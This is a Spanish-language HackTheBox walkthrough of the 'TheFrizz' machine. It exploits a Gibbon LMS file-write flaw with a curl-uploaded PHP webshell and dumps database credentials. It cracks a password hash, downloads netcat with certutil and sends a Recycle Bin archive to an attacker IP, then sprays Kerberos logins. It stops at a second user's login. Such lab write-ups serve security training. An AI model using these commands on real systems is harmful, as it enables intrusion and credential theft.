TheFrizz – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar thefrizz


Resumen Link to heading

“TheFrizz” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima está corriendo un entorno Active Directory junto con una página wweb. El servicio web se encuentra utilizando una versión vulnerable del software Gibbon a CVE-2023-45878, el cual permite escribir archivos en el sistema y puede ser concatenado en una ejecución remota de comandos. Con la webshell obtenida, somos capaces de encontrar credenciales en una base de datos MySQL para un usuario del dominio. Usando aquellas credenciales, solicitamos un ticket de Kerberos y lo utilizamos para logueqarnos por medio del servicio SSH. Una vez dentro, entontramos credenciales en la “Papelera” para otro usuario en el dominio. Este segundo usuario puede modificar y linkear GPO que afectan a la máquina host; permitiéndonos agregar a este segundo usuario como adminsitrador local y comprometer el sistema.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.60

Podemos ver múltiples puertos abiertos: 22 SSH, 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB); entre otros. Aplicando algunos scripts de reconocimiento utilizando la flag -sVC sobre estos puertos identificados obtenemos ahora:

❯ sudo nmap -sVC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49670,56168,59754,59763 10.10.11.60

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 04:59 -03
Nmap scan report for 10.10.11.60
Host is up (0.46s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-17 14:59:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
56168/tcp open  msrpc         Microsoft Windows RPC
59754/tcp open  msrpc         Microsoft Windows RPC
59763/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-03-17T15:00:31
|_  start_date: N/A
|_clock-skew: 7h00m03s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.82 seconds

La máquina está corriendo Kerberos, lo cual indica que podríamos estar ante un entorno Active Directory.

Del output puedo notar 2 cosas: el puerto 80 redirige al sitio y subdominio frizzdc.frizz.htb; mientras que el servicio LDAP muestra un dominio: frizz.htb.

Podemos también usar NetExec contra el servicio SMB para obtener dominios y FQDNs para esta máquina:

❯ nxc smb 10.10.11.60

SMB         10.10.11.60  445    10.10.11.60   [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)

Interesantemente, no obtenemos dominio alguno por medio del servicio SMB.

Podríamos tratar de obtener de igual manera obtener información con enum4linux-ng (el cual puede ser descaragado desde su repositorio de Github):

❯ python3 enum4linux-ng.py 10.10.11.60

<SNIP>
 ======================================================
|    Domain Information via LDAP for 10.10.11.60    |
 ======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: frizz.htb
<SNIP>

Pero, nuevamente, sólo encontramos el dominio frizz.htb del servicio LDAP.

Por ende, agregamos el posible nombre de la máquina (frizzdc), su FQDN (frizzdc.frizz.htb) y dominio (frizz.htb) hallado de la página HTTP a nuestro archivo /etc/hosts en nuestra máquina de atacantes junto con la IP de la máquina víctima:

❯ echo '10.10.11.60 frizzdc frizzdc.frizz.htb frizz.htb' | sudo tee -a /etc/hosts

Si usamos WhatWeb contra el sitio web, la máquina se encuentra corriendo Apache para Windows:

❯ whatweb -a 3 http://frizzdc.frizz.htb

http://frizzdc.frizz.htb [302 Found] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://frizzdc.frizz.htb/home/], Title[302 Found]
http://frizzdc.frizz.htb/home/ [200 OK] Apache[2.4.58], Bootstrap[3.3.5], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], JQuery, Modernizr[2.6.2.min], OpenSSL[3.1.3], PHP[8.2.12], Script, Title[Education &mdash; Walkerville Elementary School], X-UA-Compatible[IE=edge]

Visitando http://frizzdc.frizz.htb en un navegadaor de internet muestra:

TheFrizz 1

La página ofrece cursos en diferentes áreas tales como música, bliología, hacking, entre otros.

En la parte superior derecha podemos ver un botón que dice Staff Login. Clickeando sobre éste redirige a http://frizzdc.frizz.htb/Gibbon-LMS/. Allí podemos ver:

TheFrizz 2

Basados en la url, y también del texto al final de la página, el sitio se encuentra corriendo Gibbon.

Información
Gibbon by EduGorilla is an online education platform software that allows creators, educators, educational institutions, and schools to start their own branded mobile app and website.
En corto, es una plataforma web enfocada en desarrollar material educativo.

Para obtener más información acertca de este software podemos ir al sitio oficial de Gibbon. En este caso en específico, basados en el texto inferior de la página, tenemos una versión: v25.0.00. Buscando por gibbon 25.0.00 exploit nos lleva a una vulnerabilidad catalogada como CVE-2023-45878, la cual afecta a versiones hasta 25.0.01; lo cual nos indica que la máquina objetivo debería de ser vulnerable. Esta vulnerabilidad permite Arbitrary File Write (escribir archivos en el sistema), lo cual puede converger en Remote Code Execution (RCE, o ejecución remota de comandos). También encontramos este post explicando la vulnerabilidad y dando una Proof of Concept (PoC, o “prueba de concepto”). El post explica cómo podemos subir una imagen que es, en realidad, una webshell. Mirando el código del repositorio de Gibbons podemos ver que podemos publicar contenido:

$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');

Luego, el software decodea la “imagen” en la línea 32:

// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img)      = explode(',', $img);
$img = base64_decode($img);

Lo cual indica que la imagen puede ser encodeada en base64 y luego decodeada.

No obstante, en la línea 49 este contenido es escrito utilizando la función fwrite de PHP:

// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);

Es decir, podemos escribir archivos a través de “imágenes” que en realidad puede ser código codificado.

En el mismo blog proporcionan una simple porción de código para abusar de esta vulnerabilidad a través de HTTP con método POST en una petición:

POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: localhost:8080
[...]


img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001

Donde asdf.php es un archivo que puede ser una webshell.

Para obtener una webshell podemos crear un simple archivo en nuestra máquina de atacantes y guardarla como webshell.php:

❯ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell.php

Podemos entonces subir el archivo (webshell.php) usando cURL abusando de la vulnerabilidad; guardando el archivo en la máquina víctima como gunzf0x.php:

❯ FILENAME='gunzf0x'; curl -s -X POST 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' -d "img=image/png;$FILENAME,$(cat webshell.php | base64 -w0)" -d "path=$FILENAME.php" -d "gibbonPersonID=0000000001"

Debería de haber funcionado y podríamos usar esta webshell para ejecutar comandos remotamente. De asquí he de recalcar que el archivo que hemos subido se llama webshell.php, pero hemos nombrado y guardado el archivo en el servidor víctima como gunzf0x.php.

Ahora podríamos visitar, por ejemplo:

http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php?cmd=whoami

En un navegador de internet como Firefox, o podríamos correr comandos solamente usando cURL:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=whoami'

frizz\w.webservice

Somos el usuario w.webservice.

Nota
Nuestra webshell (gunzf0x.php en este caso) es removida luego de algunos minutos. Podemos ejecutar los comandos previos con cURL para volver a subirla sin problemas.

Por alguna razón, si tratamos de obtener una reverse shell utilizando algunas técnicas como el payload PowerShell oneliner de Reverse Shell Generator (https://revshells.com) o subimos un binario de netcat para Windows para luego intentar obtener una conexión no funciona. Supongo que algún firewall está bloqueando la conexión. No obstante -y por suerte-, esta webshell obtenida no es lenta; por lo que continuaremos utilizándola. Revisando la carpeta actual (C:\xampp\htdocs\Gibbon-LMS) muestra un archivo config.php:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=dir"

 Volume in drive C has no label.
 Volume Serial Number is D129-C3DA

 Directory of C:\xampp\htdocs\Gibbon-LMS

03/17/2025  10:13 AM    <DIR>          .
10/29/2024  07:28 AM    <DIR>          ..
01/20/2023  07:04 AM               634 .htaccess
01/20/2023  07:04 AM           197,078 CHANGEDB.php
01/20/2023  07:04 AM           103,023 CHANGELOG.txt
01/20/2023  07:04 AM             2,972 composer.json
01/20/2023  07:04 AM           294,353 composer.lock
10/11/2024  08:15 PM             1,307 config.php
01/20/2023  07:04 AM             3,733 error.php
01/20/2023  07:04 AM             1,608 export.php
<SNIP>

Leemos aquel archivo:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=type .\config.php"

Cuyo contenido es:

<?php

<SNIP>

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;

Tenemos credenciales para una base de datos MySQL.

Revisamos por puertos internos abiertros, filtrando por puertos TCP con grep:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=netstat -ano" | grep 'TCP'

<SNIP>
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       656
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       656
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       1916
<SNIP>

El puerto 3306 está abierto, el cual es el puerto por defecto para MySQL.

Antes de complicarnos la vida y crear un túnel para acceder a este servicio interno, veamos si podemos interactuar con el servicio MySQL con lo que hay ya instalado en la máquina víctima. Podemos buscar si existe algún binario de MySQL en algún lugar en el directorio C:\xampp ejecutando:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=where /r C:\xampp mysql.exe"

C:\xampp\mysql\bin\mysql.exe

Tenemos un binario localizado en C:\xampp\mysql\bin\mysql.exe.

Por tanto, usamos este binario junto con las credenciales encontradas previamente para ver si tenemos acceso a la base de datos. También usamos la flag -e para pasar las queries a través de ésta, ya que no tenemos una consola interactiva:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "SELECT VERSION()"'

VERSION()
10.4.32-MariaDB

Funcionó.

Empezamos a buscar información en la base de datos. Tenemos muchísimas tablas:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SHOW TABLES;"'

Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
gibbonactivitystaff
gibbonactivitystudent
gibbonactivitytype
gibbonadmissionsaccount
gibbonadmissionsapplication
<SNIP>

Buscando por gibbon db passwords nos lleva a este post de un foro de Gibbon. Allí se menciona que la tabla gibbonPerson debería de contener credenciales.

Revisamos el contenido de la tabla mencionada:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT * FROM gibbonperson;"'

gibbonPersonID  title   surname firstName       preferredName   officialName    nameInCharacters        gender  username        passwordStrong  passwordStrongSalt      passwordForceReset  status  canLogin        gibbonRoleIDPrimary     gibbonRoleIDAll dob     email   emailAlternate  image_240       lastIPAddress   lastTimestamp   lastFailIPAddress   lastFailTimestamp       failCount       address1        address1District        address1Country address2        address2District        address2Country phone1Type phone1CountryCode        phone1  phone3Type      phone3CountryCode       phone3  phone2Type      phone2CountryCode       phone2  phone4Type      phone4CountryCode       phone4      website languageFirst   languageSecond  languageThird   countryOfBirth  birthCertificateScan    ethnicity       religion        profession      employer        jobTitle    emergency1Name  emergency1Number1       emergency1Number2       emergency1Relationship  emergency2Name  emergency2Number1       emergency2Number2       emergency2Relationship      gibbonHouseID   studentID       dateStart       dateEnd gibbonSchoolYearIDClassOf       lastSchool      nextSchool      departureReason transport       transportNotes      calendarFeedPersonal    viewCalendarSchool      viewCalendarPersonal    viewCalendarSpaceBooking        gibbonApplicationFormID lockerNumber    vehicleRegistration personalBackground      messengerLastRead       privacy dayType gibbonThemeIDPersonal   gibboni18nIDPersonal    studentAgreements       googleAPIRefreshToken   microsoftAPIRefreshToken    genericAPIRefreshToken  receiveNotificationEmails       mfaSecret       mfaToken        cookieConsent   fields
0000000001      Ms.     Frizzle Fiona   Fiona   Fiona Frizzle           Unspecified     f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03   /aACFhikmNopqrRTVz2489   N       Full    Y       001     001     NULL    f.frizzle@frizz.htb     NULL    NULL    ::1     2024-10-29 09:28:59     NULL    NULL    0          NULL             NULL    NULL    NULL                                                    Y       Y       N       NULL                            NULL    NULL    NULL    NULLNULL    NULL                            Y       NULL    NULL    NULL

Seleccionamos columnas interesantes, tales como username, passwordStrong y passwordStrongSalt:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT username,passwordStrong,passwordStrongSalt FROM gibbonperson;"'

username        passwordStrong  passwordStrongSalt
f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        /aACFhikmNopqrRTVz2489

Tenemos un usuario llamado f.frizzle junto con un hash y su sal.

Este parece ser un hash de tipo SHA-256. Buscando en ejemplos de hashes para Hashcat, los modos 1410 o 1420 parecen ser los correctos para hashes SHA256 con sal. Guardamos el hash junto con su sal separados por : en un archivo llamado ffrizzle_hash:

❯ cat ffrizzle_hash

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

Usamos Hashcat para intentar crackear este hash. El mode 1420 funciona junto con el diccionario rockyou.txt:

❯ hashcat -a 0 -m 1420 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Time.Started.....: Mon Mar 17 08:08:32 2025 (5 secs)
<SNIP>

Obtenemos una contraseña: Jenni_Luvs_Magic23.

Revisamos si esta credencial sirve para el servicio SMB con NetExec:

❯ nxc smb 10.10.11.60 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23'

SMB         10.10.11.60  445    10.10.11.60   [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60  445    10.10.11.60   [-] 10.10.11.60\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED

Pero obtenemos el mensaje STATUS_NOT_SUPPORTED.

Obtuvimos algo similar en la máquina HTB Vintage. Revisando documentación de Microsoft buscando por el significado de este error encontramos, básicamente, que el servidor no entiende o no está habilitado para entender la data que se está enviando. Por lo que es altamente probable que la autenticación por NTLM esté deshabilitada.

Tal cual hicimos en la máquina HTB Vintage podemos tratar de utilizar el servicio de Kerberos para autenticarnos. Para este propósito podemos tratar de obtener un Ticket Granting Ticket (TGT) a través de la herramienta getTGT.py de Impacket; ticket el cual nos servirá para autenticarnos como el usuario f.frizzle ante Kerberos:

❯ impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Nuestro viejo enemigo KRB_AP_ERR_SKEW(Clock skew too great) está aquí.

Podemos evadir este error utilizando faketime junto con ntpdate (ambos instalables ejecutando sudo apt install faketime ntpdate -y en una terminal):

❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in f.frizzle.ccache

Obtenemos exitosamente un ticket de Kerberos, más específicamente un TGT, para el usuario f.frizzle.

Algo que aprendí de esta máquina, es que los tickets de Kerberos también se pueden utilizar para autenticarse ante el servicio SSH. Ergo, usamos el TGT obtenido junto con la flag -K para SSH. Por ejemplo, podemos loguearnos ejecutando:

❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p 'Jenni_Luvs_Magic23' ssh -o stricthostkeychecking=no -K f.frizzle@frizz.htb

PowerShell 7.4.5
PS C:\Users\f.frizzle>

Nice. Podemos extraer la flag de usuario.


NT Authority/System - Administrador Link to heading

Mirando en el directorio C:\ sólo podemos ver carpetas típicas de una máquina Windows:

PS C:\Users\f.frizzle> ls C:\

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           3/10/2025  3:39 PM                inetpub
d----            5/8/2021  1:15 AM                PerfLogs
d-r--           2/26/2025  8:13 AM                Program Files
d----            5/8/2021  2:34 AM                Program Files (x86)
d-r--          10/29/2024  7:31 AM                Users
d----           3/10/2025  3:41 PM                Windows
d----          10/29/2024  7:28 AM                xampp

Pero si buscamos por carpetas ocultas utilizando el comando ls junto con la opción -force de PowerShell la cosa cambia; podemos ver más directorios:

PS C:\Users\f.frizzle> ls C:\ -force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                $RECYCLE.BIN
d--h-           3/10/2025  3:31 PM                $WinREAgent
d--hs           2/20/2025  2:51 PM                Config.Msi
l--hs          10/29/2024  9:12 AM                Documents and Settings -> C:\Users
d----           3/10/2025  3:39 PM                inetpub
d----            5/8/2021  1:15 AM                PerfLogs
d-r--           2/26/2025  8:13 AM                Program Files
d----            5/8/2021  2:34 AM                Program Files (x86)
d--h-           2/20/2025  2:50 PM                ProgramData
d--hs          10/29/2024  9:12 AM                Recovery
d--hs          10/29/2024  7:25 AM                System Volume Information
d-r--          10/29/2024  7:31 AM                Users
d----           3/10/2025  3:41 PM                Windows
d----          10/29/2024  7:28 AM                xampp
-a-hs          10/29/2024  8:27 AM          12288 DumpStack.log.tmp

Tenemos una carpeta “Recycle Bin” (o “Papelera” en español).

Chequeando esta nueva carpeta muestra:

PS C:\Users\f.frizzle> Get-ChildItem -Path 'C:\$RECYCLE.BIN' -Force -Recurse

    Directory: C:\$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

Hay 2 archivos .7z. Podemos tratar de descargar el que es más pesado, llamado $RE2XMEG.7z.

Para este propósito podemos transferir un binario de netcat a la máquina víctima y usarlo. Empezamos un servidor temporal HTTP con Python por el puerto 8000 en nuestra máquina de atacantes:

❯ ls -la && python3 -m http.server 8000

total 9976
drwxrwxr-x 2 gunzf0x gunzf0x     4096 Mar 18 01:36 .
drwxrwxr-x 5 gunzf0x gunzf0x     4096 Mar 17 04:46 ..
-rw-rw-r-- 1 gunzf0x gunzf0x     4687 Mar 17 08:45 evil_winrm_kerberos.py
-rw-r--r-- 1 gunzf0x gunzf0x    45272 Mar 17 06:34 nc64.exe
-rw-rw-r-- 1 gunzf0x gunzf0x       35 Mar 17 06:53 webshell.php
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y, en la máquian víctima, usamos certutil para descargar el binario nc64.exe desde nuestra máquina de atacantes a la máquina víctima:

PS C:\Users\f.frizzle> certutil.exe -urlcache -f -split http://10.10.16.4:8000/nc64.exe C:\Users\f.frizzle\Downloads\nc.exe

****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Empezamos un nuevo listenre con netcat en nuestra máquina de atacantes, guardando toda la data que será recibida en un archivo llamado $RE2XMEG.7z:

❯ nc -lvnp 443 > $RE2XMEG.7z

listening on [any] 443 ...

Luego, en la máquina víctima, usamos el binario transferido de netcat para pasar el archivo de la Papelera a nuestra máquina de atacantes:

PS C:\Users\f.frizzle> cmd.exe /c 'C:\Users\f.frizzle\Downloads\nc.exe 10.10.16.4 443 < C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z'

Luego de un tiempo, podemos apretar Ctrl+C en nuestra máquina de atacantes; el archivo debería haberse transferido con éxito.

Tenemos un archivo .7z file. Usamos 7z para extraer su contenido en una carpeta llamada recycle_bin_content:

❯ 7z x $RE2XMEG.7z -o'recycle_bin_content'

<SNIP>

Los archivos extraídos pesan 150 MBs:

❯ du -sh recycle_bin_content

150M    recycle_bin_content

Revisando qué son estos archivos, éstos parecen ser archivos para WAPT server de Windows con Python:

Información
A WAPT server is a software and configuration deployment tool that can be used to install, update, and remove software on Windows, Linux, and MacOS devices. It can be used to manage the lifecycle of Windows applications
En corto WAPT es una herramienta para instalar, remover y actualizar otras herramientas.

Tenemos bastantes archivos:

❯ ls -la recycle_bin_content/wapt | head

total 45012
drwxrwxr-x 18 gunzf0x gunzf0x    4096 Oct 23 01:18 .
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Mar 18 02:19 ..
-rw-rw-r--  1 gunzf0x gunzf0x    6147 Sep 10  2024 auth_module_ad.py
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Oct 23 01:12 cache
-rw-rw-r--  1 gunzf0x gunzf0x  412462 Sep 10  2024 common.py
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 01:12 conf
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 00:35 conf.d
-rw-rw-r--  1 gunzf0x gunzf0x    5730 Sep 10  2024 COPYING.txt
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 01:16 db

Buscando por wapt server config file (archivos de configuración) retorna esta página. Allí se habla de un archivo llamado wapserver.ini. Buscamos este archivo con el comando find:

❯ find recycle_bin_content -name '*waptserver.ini*' 2>/dev/null

recycle_bin_content/wapt/conf/waptserver.ini
recycle_bin_content/wapt/conf/waptserver.ini.template

El archivo existe.

Leemos su contenido:

❯ cat recycle_bin_content/wapt/conf/waptserver.ini

[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

Tenemos lo que parece ser una contraseña en base64. Decodeando ésta encontramos:

❯ echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

!suBcig@MehTed!R

Tenemos una potencial contraseña: !suBcig@MehTed!R.

Para ver si esta es la contraseña de algún usuario en el dominio, extraemos usuarios del dominio con el comando dsquery:

PS C:\Users\f.frizzle> dsquery user

"CN=Administrator,CN=Users,DC=frizz,DC=htb"
"CN=Guest,CN=Users,DC=frizz,DC=htb"
"CN=krbtgt,CN=Users,DC=frizz,DC=htb"
"CN=f.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.li,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=h.arm,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=M.SchoolBus,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=d.hudson,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=k.franklin,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=l.awesome,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=t.wright,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=r.tennelli,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=J.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=a.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=p.terese,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=v.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=g.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.sandiego,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=m.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.Webservice,OU=Class_Frizz,DC=frizz,DC=htb"

O de manera más limpia sólo extrayendo usuarios:

PS C:\Users\f.frizzle> (dsquery user) | ForEach-Object { ($_ -split ',')[0] -replace 'CN=' -replace '"' }

Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice

Guardamos todos aquellos usuarios en un archivo llamado domain_users.txt en nuestra máquina de atacantes.

En un oneliner de bash Bash tratamos de solicitar tickets de Kerberos (TGTs) para cualquiera de estos usuarios utilizando la contraseña encontrada; esto en una especie de Password Spray, pero solicitando tickets de Kerberos:

❯ for user in $(cat domain_users.txt); do echo "[+] Attempting to extract ticket for user $user"; faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/$user:'!suBcig@MehTed!R' -dc-ip frizz.htb && echo "[+] Ticket for user $user extracted" || echo "[-] Could not extract ticket for user $user"; done

<SNIP>
[+] Attempting to extract ticket for user M.SchoolBus
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in M.SchoolBus.ccache
[+] Ticket for user M.SchoolBus extracted
<SNIP>

Obtenemos un ticket para el usuario M.SchoolBus.

Nota
También se podría tratar un Password Spray con Kerbrute, pero en mi caso no funcionó.

Nos logueamos como este nuevo usuario utilizando su ticket a través de SSH:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb

PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami

frizz\m.schoolbus

